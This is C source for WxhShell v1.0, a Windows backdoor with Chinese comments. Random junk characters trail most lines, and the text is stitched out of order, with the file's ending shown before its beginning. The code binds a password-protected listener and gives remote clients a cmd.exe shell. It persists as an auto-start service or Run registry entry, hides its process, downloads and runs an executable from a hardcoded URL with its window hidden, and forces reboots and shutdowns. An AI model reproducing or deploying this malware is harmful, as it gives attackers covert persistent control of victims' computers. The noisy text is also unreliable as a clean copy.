    if(Boot(SHUTDOWN)) _Gu ;U@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &,zeBFmc  
    else { \!r^6'A   
    closesocket(wsh); c+JlM1p@  
    ExitThread(0); `;;!>rm  
    } - g0>>{M'  
    break; i(WWF#N 5  
    } 2xX7dl(cC  
  // 获取shell J5k%  
  case 's': { iwbjjQPr  
    CmdShell(wsh); V~;YV]1Y  
    closesocket(wsh); <mN3:G  
    ExitThread(0); iX=*qiVX  
    break; Qxwe,:  
  } 5WUrRQ?E  
  // 退出 C7{wI`~  
  case 'x': { x+pFu5,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ero3A'f  
    CloseIt(wsh); o#i {/# oF  
    break; =u(fP" |{  
    } yFSL7`p+  
  // 离开 ^|Y!NHYH$Z  
  case 'q': { -LyIu#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ze- iDd_y  
    closesocket(wsh); T1E{NgK  
    WSACleanup(); bm;4NA?Gg  
    exit(1); ]9' \<uR  
    break; rhrlEf@  
        } ]Uu/1TTf  
  } 6XP>p$-  
  } tVOx  
$[Fk>d  
  // 提示信息 5M*p1^ >  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =F9-,"EAI  
} x-1[2K1"[  
  } <x/&Ml+  
,f$ RE6  
  return; @:63OLlrG  
} |s:!LU&OL\  
 Dg@6o  
// shell模块句柄 LE;c+(CAU  
int CmdShell(SOCKET sock) qVfOf\x.e  
{ *$QUE0  
STARTUPINFO si; 5J,vH  
ZeroMemory(&si,sizeof(si)); @bZb#,n]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PJ'l:IU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B4kIcHA  
PROCESS_INFORMATION ProcessInfo; O'k"6sBb  
char cmdline[]="cmd"; b#sO1MXv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ZM"t.  
  return 0; :z[SI{Y  
} <%5ny!]  
=6Z 1yw7s  
// 自身启动模式 [lf[J&}X  
int StartFromService(void) m\(a{x  
{ w"~T5%p  
typedef struct hYLu   
{ ?g 3sv5\u  
  DWORD ExitStatus; 1peN@Yk2W  
  DWORD PebBaseAddress; '>Z Ou3>  
  DWORD AffinityMask; d$!ibL#o  
  DWORD BasePriority; y=t -/*K  
  ULONG UniqueProcessId; mwt3EV5  
  ULONG InheritedFromUniqueProcessId; FGC[yz1g:  
}   PROCESS_BASIC_INFORMATION; Ae"B]Cxb_X  
]]+"`t,-  
PROCNTQSIP NtQueryInformationProcess; O?@AnkOhn  
s^cHR1^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [8ih-k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "h "vp&A  
C`fQ` RL\  
  HANDLE             hProcess; }u :sh >2  
  PROCESS_BASIC_INFORMATION pbi; m 9r X  
(UCWSA7oc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oZQu&O'  
  if(NULL == hInst ) return 0; hT<v8  
j*GYYEY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7>#74oy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d4lEd>Ni  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N)QW$iw9  
@sP?@< C  
  if (!NtQueryInformationProcess) return 0; r'&VH]m  
;X8eZQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #jQITS7  
  if(!hProcess) return 0; lyP<&<Y5  
~MOIrF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9BP-Iet  
-{HA+YL H  
  CloseHandle(hProcess); 4oJ0,u  
tlj^0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,a}+Jj{  
if(hProcess==NULL) return 0; uKK+V6}!kj  
*t63c.S  
HMODULE hMod; Up~#]X  
char procName[255]; &U:;jlST9  
unsigned long cbNeeded; d;K,2  
 W+e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ikUG`F%W  
8< R#}  
  CloseHandle(hProcess); W_%Dg]l   
6:H@= fEv  
if(strstr(procName,"services")) return 1; // 以服务启动 %5'6^bT  
tks1*I$S<  
  return 0; // 注册表启动 X4gs{kx}|  
} +5voAx!  
h DCR>G  
// 主模块 |Gz(q4  
int StartWxhshell(LPSTR lpCmdLine) ~OXPn9qPp  
{ F&^u1RYz  
  SOCKET wsl; vLq_l4l  
BOOL val=TRUE; (<|,LagTuc  
  int port=0; 3:s!0ty"  
  struct sockaddr_in door; G22u+ua  
'vBuQinn  
  if(wscfg.ws_autoins) Install(); o^mW`g8[  
#>}cuC@  
port=atoi(lpCmdLine); t~3!| @3i  
`$05+UU  
if(port<=0) port=wscfg.ws_port; d-y8c  
V!u W\i/  
  WSADATA data; nGq{+ G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O|d"0P  
;tlvf?0!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "_W[X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `ml  
  door.sin_family = AF_INET; U&GSMjqg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); voiWf?X  
  door.sin_port = htons(port); 5 y0 N }}  
wZ0RI{)s'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X3@Uih}|  
closesocket(wsl); ;O+= 6>W  
return 1; nH_M#  
} qf;x~1efC4  
<m'W{n%Pp  
  if(listen(wsl,2) == INVALID_SOCKET) { 4S5U|n  
closesocket(wsl); ,?S1e#  
return 1; +87|gC7B  
} ''tCtG" Xi  
  Wxhshell(wsl); >4 VN1 ^  
  WSACleanup(); 8u6*;*o  
G0)}?5L1J  
return 0; ;0FfP  
,N93H3(  
} $i1$nc8  
wNtC5  
// 以NT服务方式启动 :<hM@>eFn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qco8m4n  
{ [>![ViX  
DWORD   status = 0; lha)4d  
  DWORD   specificError = 0xfffffff; #x*\dL  
~bf4_5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nvbzCtC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jl9hFubwW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TXdo,DPv7  
  serviceStatus.dwWin32ExitCode     = 0; {.eo?dQ  
  serviceStatus.dwServiceSpecificExitCode = 0; *O_>3Hgl  
  serviceStatus.dwCheckPoint       = 0; >jz9o9?8  
  serviceStatus.dwWaitHint       = 0; *+(rQ";x  
2)hfYLi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y O&@  
  if (hServiceStatusHandle==0) return; ]n}aePl}oU  
SP.k]@P  
status = GetLastError(); 0RgE~x!hI  
  if (status!=NO_ERROR) F_G .$a Cc  
{ fJOw E g|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b+1!qNuCW#  
    serviceStatus.dwCheckPoint       = 0; 1%ENgb:8  
    serviceStatus.dwWaitHint       = 0; L+N\B@ 0-  
    serviceStatus.dwWin32ExitCode     = status; M0yv= g  
    serviceStatus.dwServiceSpecificExitCode = specificError; dIW@L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rU+3~|m  
    return; MX? *jYl  
  } ?8N^jjG  
SSxp!E'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,.Lwtp,n  
  serviceStatus.dwCheckPoint       = 0; ;.'?(iEB  
  serviceStatus.dwWaitHint       = 0; >dx/k)~~-L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `*6|2  
} [;H-HpBaa  
kM J}sS  
// 处理NT服务事件,比如:启动、停止 $GP66Ev  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 60;_^v  
{ eSQkW  
switch(fdwControl) d~ +(g!  
{ _B>'07D0  
case SERVICE_CONTROL_STOP: ^"<x4e9+j  
  serviceStatus.dwWin32ExitCode = 0; 'Lq+ONX5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  & .0A%  
  serviceStatus.dwCheckPoint   = 0; {0~\T[qm  
  serviceStatus.dwWaitHint     = 0; 4sRM" w;  
  { fV@ [S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z%S$~^=b  
  } zOd* >  
  return; w"5Eyz-eO  
case SERVICE_CONTROL_PAUSE: ~m_{&,CA.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n]df)a  
  break; "iTjiH)Q(  
case SERVICE_CONTROL_CONTINUE: <8(=Lv`)q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4GbfA .u  
  break; Y?TS,   
case SERVICE_CONTROL_INTERROGATE: @Ddz|4vEi  
  break; "4\k1H"_  
}; ^D<CoxG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L&c & <+0T  
} :.4O Hp1  
T%% 0W J  
// 标准应用程序主函数 9dq"x[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }4p)UX>aWT  
{ Li]bU   
b"WF]x|^  
// 获取操作系统版本 b"uO BB  
OsIsNt=GetOsVer(); ckMG4 3i\j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \_WR:?l  
%cLS*=MO  
  // 从命令行安装 jYi,oE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1aQm r=,  
vhPlH0  
  // 下载执行文件 iLch3[p%  
if(wscfg.ws_downexe) { .<zKBv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d\uN  
  WinExec(wscfg.ws_filenam,SW_HIDE); =WjHf8v;  
} LD ]-IX&L  
N"}>);r  
if(!OsIsNt) { Xf_#O'z  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kf1J;*i|\  
HideProc(); {;DAKWm@T  
StartWxhshell(lpCmdLine); gu3iaM$W  
} Mh*r)B~%[  
else dzEi^* (8  
  if(StartFromService()) K(i}?9WD  
  // 以服务方式启动 uLafO=Q  
  StartServiceCtrlDispatcher(DispatchTable);  Z/%FQ  
else kV+^1@"  
  // 普通方式启动 Wk\(jaL%  
  StartWxhshell(lpCmdLine); GA[Ebzi  
ydyTDn  
return 0; g]lEG>y1R  
} p;>A:i  
u [._RA  
&nP0T-T5y  
g E _+r  
=========================================== Vx(*OQ  
/1MmOB  
^#d\HI  
AY{KxCr b^  
*mzi ?3  
<a]i"s  
" LP6 p  
l3sF/zkH  
#include <stdio.h> |]4!WBK  
#include <string.h> T[Zs{S  
#include <windows.h> HwHF8#D*l  
#include <winsock2.h> O;~e^ <*  
#include <winsvc.h> }3^m>i*8  
#include <urlmon.h> *[{j'7*cc  
H"FK(N\  
#pragma comment (lib, "Ws2_32.lib") *{3d+j/?/  
#pragma comment (lib, "urlmon.lib") lG)wa  
\P*_zd@%  
#define MAX_USER   100 // 最大客户端连接数 l)9IgJ|<b  
#define BUF_SOCK   200 // sock buffer bZNqv-5 4h  
#define KEY_BUFF   255 // 输入 buffer B W<Dmn  
Z#Mm4(KNh  
#define REBOOT     0   // 重启 se\fbe^0  
#define SHUTDOWN   1   // 关机 m,lZy#02s3  
&]DB-t#\  
#define DEF_PORT   5000 // 监听端口 ?qNU*d  
d.FU) )lmD  
#define REG_LEN     16   // 注册表键长度 $AZYY\1  
#define SVC_LEN     80   // NT服务名长度 g}NO$?ndg  
pcy;]U ?  
// 从dll定义API <{isWEW9]3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jc&k-d>=G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !&{rnK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {4D`VfX_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i)?7+<X  
=#2c r:1  
// wxhshell配置信息 ;cXw;$&D  
struct WSCFG { B n7uKa{P  
  int ws_port;         // 监听端口 J?9jD:x  
  char ws_passstr[REG_LEN]; // 口令 XVqOiv)  
  int ws_autoins;       // 安装标记, 1=yes 0=no :~otzI4%!  
  char ws_regname[REG_LEN]; // 注册表键名 LqbI/AQ)  
  char ws_svcname[REG_LEN]; // 服务名 vkIIuNdDlx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hx9{?3#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 --WQr]U/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /K#k_k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I8Aq8XBw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _~z oMdT!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *4}_2"[  
Co1d44Q  
}; VBX)xQazU  
0~bUW V  
// default Wxhshell configuration Wef%f] u  
struct WSCFG wscfg={DEF_PORT, C|V7ZL>W  
    "xuhuanlingzhe", ; Z]Wj9iY  
    1, ij ?7MP  
    "Wxhshell", 'XK 'T\m  
    "Wxhshell", g&s. 0+  
            "WxhShell Service", N1$u@P{  
    "Wrsky Windows CmdShell Service", J].Oxch&y  
    "Please Input Your Password: ", $-}&RW9  
  1, % T({;/  
  "http://www.wrsky.com/wxhshell.exe", Sc7 Ftb%  
  "Wxhshell.exe" 4j={ 9e<  
    }; V4[-:k  
!Y ,7%  
// 消息定义模块 AS7L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Az&>.*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \N9=13W<lK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GC')50T J  
char *msg_ws_ext="\n\rExit."; 2? qC8eC  
char *msg_ws_end="\n\rQuit."; $aV62uNf  
char *msg_ws_boot="\n\rReboot..."; V|8'3=Z=  
char *msg_ws_poff="\n\rShutdown..."; UxGu1a  
char *msg_ws_down="\n\rSave to "; (BEe^]f  
YvJFZ_faX  
char *msg_ws_err="\n\rErr!"; lq-KM8j  
char *msg_ws_ok="\n\rOK!"; &t= :xVn-M  
\ %Mcvb.?  
char ExeFile[MAX_PATH]; aJ'Fn  
int nUser = 0; 9{u=  
HANDLE handles[MAX_USER]; F7DA~G!  
int OsIsNt; DpRMXo[  
W_W!v&@E=  
SERVICE_STATUS       serviceStatus; NiZfaC6V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rl Oy,/-<  
2:38CdkYp  
// 函数声明 '(.5!7?Qc  
int Install(void); B[N]=V  
int Uninstall(void); ~/L:$  
int DownloadFile(char *sURL, SOCKET wsh); (!* l+}  
int Boot(int flag); *ERV\/  
void HideProc(void); "t0^4=c+7  
int GetOsVer(void); zjmo IE  
int Wxhshell(SOCKET wsl); P~j#8cH7  
void TalkWithClient(void *cs); Bgxk>Y  
int CmdShell(SOCKET sock); S2$66xr#  
int StartFromService(void); {KG}m'lx  
int StartWxhshell(LPSTR lpCmdLine); +F)EGB%LXs  
GW A T0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ui'v ' $  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t]h_w7!U  
2 R\K!e  
// 数据结构和表定义 5i[O\@]5  
SERVICE_TABLE_ENTRY DispatchTable[] = &W45.2  
{ \ lbH   
{wscfg.ws_svcname, NTServiceMain}, 0z>IYw|UB  
{NULL, NULL} `=(<!nXJx  
}; C m:AU;  
bBi>BP =  
// 自我安装 %p 6Ms  
int Install(void) s~Eo]e  
{ k=s^-Eiu  
  char svExeFile[MAX_PATH];  ``/L18  
  HKEY key; % !@E)%d0  
  strcpy(svExeFile,ExeFile); jj{:=l ZB  
p/{%%30ke  
// 如果是win9x系统,修改注册表设为自启动 In?rQiD9  
if(!OsIsNt) { SoziFI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G<CD 4:V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #:?:gY<  
  RegCloseKey(key); BZ?w}%-MO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JN8Rh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DGHSyB^+1  
  RegCloseKey(key); c}@E@Y`@w  
  return 0; I'5[8  
    } sX"L\v  
  } ntIR#fB  
} %e:+@%]  
else { EID-ROMO  
F$UL.`X _/  
// 如果是NT以上系统,安装为系统服务 nvR%Ub x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WO>,=^zPJ  
if (schSCManager!=0) gt8dFcm|s  
{ f#l9rV"@g  
  SC_HANDLE schService = CreateService ^&;,n.X5Z  
  ( K@p9_K8  
  schSCManager, ^]o H}lwO  
  wscfg.ws_svcname, n/v.U,f&l@  
  wscfg.ws_svcdisp, cxR.:LD}  
  SERVICE_ALL_ACCESS, .rBU"Rbo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Z2XVq~T$  
  SERVICE_AUTO_START, ep8UWxB5  
  SERVICE_ERROR_NORMAL, |sGJum&=  
  svExeFile, ,a>Dv@$Y  
  NULL, ,1I-%6L  
  NULL, ;pm/nu  
  NULL, N^QxqQ~  
  NULL, LuZlGm  
  NULL :}NheRi  
  ); "nz\YQdg  
  if (schService!=0) r5gqRh}+  
  { '-"[>`[q  
  CloseServiceHandle(schService); Z` kVyuQ  
  CloseServiceHandle(schSCManager); 2sGKn a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); : ;8L1'  
  strcat(svExeFile,wscfg.ws_svcname); ^|<>`i6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7)U ik}0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3FvVM0l"  
  RegCloseKey(key); Fx!D:.)/G  
  return 0; MsIR~  
    } E{)X ;kN=  
  } 4rDV CXE  
  CloseServiceHandle(schSCManager); huZ5?'/Fg  
} Xm# +Z`|N  
} q]1p Q)\'p  
*$O5.`]  
return 1; Lx_Jw\YO  
} qb;b.P?~D$  
W$X/8K bn  
// 自我卸载 f I%8@ :  
int Uninstall(void) +o@:8!IM1  
{ r0nnmy]{d  
  HKEY key; @q!T,({kx  
zsuqRM "  
if(!OsIsNt) { .$s']' =  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A,&711Y  
  RegDeleteValue(key,wscfg.ws_regname); [.&JQ  
  RegCloseKey(key); r], %:imGr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { COsy.$|4  
  RegDeleteValue(key,wscfg.ws_regname); &yP|t":HWX  
  RegCloseKey(key); $%$zZJ@/  
  return 0; ;39b.v\^  
  } Hya.OW{  
} |fyzb=Lg  
} (1cB Tf  
else { "O r1 f C  
:2KPvp 7?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i+(>w'=m  
if (schSCManager!=0) kMW9UUw  
{ )*_G/<N) |  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .(/HUQn  
  if (schService!=0) aA$\iFYA  
  { P$z%:Q  
  if(DeleteService(schService)!=0) { ;i.MDW^N  
  CloseServiceHandle(schService); tQG'f*4  
  CloseServiceHandle(schSCManager); GH':Yk  
  return 0; 5=*i!c _m  
  } <#8}![3Q  
  CloseServiceHandle(schService); <}RD]Sc$1  
  } HY_>sD  
  CloseServiceHandle(schSCManager); CF3x\6.q}  
} R<f F ^^  
} #8L: .,AYE  
khjdTq\\  
return 1; ]i075bO/  
} &KBDrJEX  
8g:VfzaHu  
// 从指定url下载文件 13 h,V]ak  
int DownloadFile(char *sURL, SOCKET wsh) 8+Tv@  
{ ]O}e{Q>  
  HRESULT hr; XzIC~}  
char seps[]= "/"; i`52tH y_  
char *token; ie[X7$@  
char *file; dLGHbeZ[(  
char myURL[MAX_PATH]; WL(Y1>|j  
char myFILE[MAX_PATH]; <o9i;[+H-  
tJ_Y6oFm=  
strcpy(myURL,sURL); f?ycZ  
  token=strtok(myURL,seps); @H$8;CRM  
  while(token!=NULL) J0vQqTaT  
  { P(yLRc  
    file=token; Wgs6}1b g  
  token=strtok(NULL,seps); sMAj?]hI$  
  } Q7e4MKy7  
 6p@[U>`  
GetCurrentDirectory(MAX_PATH,myFILE); nCwA8AG  
strcat(myFILE, "\\"); |%5pzYe  
strcat(myFILE, file); O*/%z r  
  send(wsh,myFILE,strlen(myFILE),0); S]=.p-Am  
send(wsh,"...",3,0); S0OL;[*.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZD]{HxGL!  
  if(hr==S_OK) U:99w  
return 0; Y5 ;a  
else k?HdW(HA  
return 1; q|%+?j(  
J<H]vs  
} :~R a}  
Y,L[0%  
// 系统电源模块 X]9<1[f  
int Boot(int flag) lH?jqp  
{ q{}5wM  
  HANDLE hToken; 3]'ab-,Vp  
  TOKEN_PRIVILEGES tkp; t$,G%micj  
LmyaC2  
  if(OsIsNt) { Uc_ }="  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g$2#TWW5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [;aM8N  
    tkp.PrivilegeCount = 1; /2d>nj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1P"{TMd?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QKEtV  
if(flag==REBOOT) { T^MY w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wbOYtN Y@  
  return 0; !w UznyYwt  
} '/XP4B\(E  
else { .|u`s,\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,[ppETz  
  return 0; UW}@oP$r  
} 7xB]Z;:  
  } >Vx_Xv`Jwb  
  else { &/Gn!J;1  
if(flag==REBOOT) { F (kq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F{QOu0$cA4  
  return 0; "0nsYE  
} AH/^v;-  
else { GK-P6d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hC8WRxEGq  
  return 0; 8a@k6OZ  
} OY(CB(2N  
} <K&A/Ue  
^HR8.9^[1u  
return 1; {[:C_Up)f  
} xMQ>,nZ  
At[Q0'jkc  
// win9x进程隐藏模块 f U=P$s  
void HideProc(void) AfhJ6cSIE  
{ aaf}AIL.  
f*"T]AX0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M`q|GY  
  if ( hKernel != NULL ) XM+.Hel  
  { i"n_oO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w^zqYGxG)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fQ1j@{Xa  
    FreeLibrary(hKernel); ZY7-.  
  } V,VL?J\  
(x/:j*`K  
return; un!v1g9O  
} QsxvA;7%  
6 %aaK|0  
// 获取操作系统版本 T#!% Uzz  
int GetOsVer(void) F4-rPv  
{ $X-PjQb1Bb  
  OSVERSIONINFO winfo; B_[I/ ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h4K Mhr  
  GetVersionEx(&winfo); XNx$^I=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G Wa6FX:/  
  return 1; SXl~lYUL  
  else *2~WP'~PQd  
  return 0; h]~FYY  
} KC; o   
s&o9LdL  
// 客户端句柄模块 W //+[  
int Wxhshell(SOCKET wsl) W3Ee3  
{ bWb/>hI8 Q  
  SOCKET wsh; >Ho=L)u  
  struct sockaddr_in client; ^J-Xy\ X  
  DWORD myID; A9SL|9Q  
t@#5 G* _Q  
  while(nUser<MAX_USER) F[O147&C  
{ ; xw9#.d#D  
  int nSize=sizeof(client); ns5Dydo{T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }m?Ut|  
  if(wsh==INVALID_SOCKET) return 1; =,ax"C?pR  
O SUiS`k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '^WR5P<8c  
if(handles[nUser]==0) W!.FnM5x  
  closesocket(wsh); uMG y-c  
else ?P|z,n{  
  nUser++; [];wP '*  
  } D2D+S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rl0"9D87z  
[ywF!#'){  
  return 0; (Dv GA I  
} 7z,  $  
cf>lY  
// 关闭 socket .Xf_U.h$*@  
void CloseIt(SOCKET wsh) }D)eS |B  
{ >m%TUQ#%  
closesocket(wsh); ("}Hs[  
nUser--; +ru`Zw5,  
ExitThread(0); n2AoEbd  
} j?$B@Zk  
jZidT9[g  
// 客户端请求句柄 @%u}|iF|  
void TalkWithClient(void *cs) @|ZUyat  
{ AriV4 +  
U{l f$  
  SOCKET wsh=(SOCKET)cs; B3[X{n$px  
  char pwd[SVC_LEN]; ] X]!xvN@  
  char cmd[KEY_BUFF]; }2BNy9q@  
char chr[1]; W"#<r  
int i,j; k)F!gV#  
r/ATZAgHP  
  while (nUser < MAX_USER) { " @ ""  
^qC.bv]&  
if(wscfg.ws_passstr) { 75R4[C6T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); og+Vrd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mGP%"R2X  
  //ZeroMemory(pwd,KEY_BUFF); }mZCQJ#`  
      i=0; ^_G#JJ\@$  
  while(i<SVC_LEN) { &"tQpw5  
ny^uNIRPR  
  // 设置超时 q |Pebe=  
  fd_set FdRead; =w_T{V  
  struct timeval TimeOut; qa~ju\jm.  
  FD_ZERO(&FdRead); a>8] +@  
  FD_SET(wsh,&FdRead); d^IX(y*$  
  TimeOut.tv_sec=8; v\!Cq+lFML  
  TimeOut.tv_usec=0; Edh9=sxL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {nA+-=T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~KGE(o4p  
"k [$euV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wx;%W"a  
  pwd=chr[0]; fIx|0,D&7L  
  if(chr[0]==0xd || chr[0]==0xa) { h;} fdk  
  pwd=0; ZZ!6O/M  
  break; \KpJIHkBRy  
  } <$uDN].T4  
  i++; *n@rPr-  
    } E:\#Ur2  
SU7,uxF  
  // 如果是非法用户,关闭 socket xK1w->[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A~?)g!tS<  
} E'8XXV^I?P  
!.@:t`w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4^Ks!S>K{8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BUh(pS:  
1,Pg^Xu  
while(1) { "GqasbX  
*E|3Vy{4  
  ZeroMemory(cmd,KEY_BUFF); :N<o<qn  
=-P<v2|e  
      // 自动支持客户端 telnet标准   8h}1t4k  
  j=0; `N}'5{I  
  while(j<KEY_BUFF) { 9*n?V;E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j9Z1=z  
  cmd[j]=chr[0]; ,FRa6;  
  if(chr[0]==0xa || chr[0]==0xd) { XNvlx4  
  cmd[j]=0; K;\fJ2ag  
  break; 1Nv qtVC  
  } <Fl.W}?Q}  
  j++; B~< bc  
    } y?}<SnjP:  
a)+*Gf7?  
  // 下载文件 ), VF]  
  if(strstr(cmd,"http://")) { brCL"g|}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G}WY0FC6  
  if(DownloadFile(cmd,wsh)) %3HF_DNOY=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Zrc-tkV  
  else YO@~y *,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K"Irg.  
  } sC :.}6  
  else { YB{'L +Wbw  
E%Ysyk  
    switch(cmd[0]) { mG *Yv  
  4>HQ2S{t  
  // 帮助 cft@s Y  
  case '?': { R\6dvd  
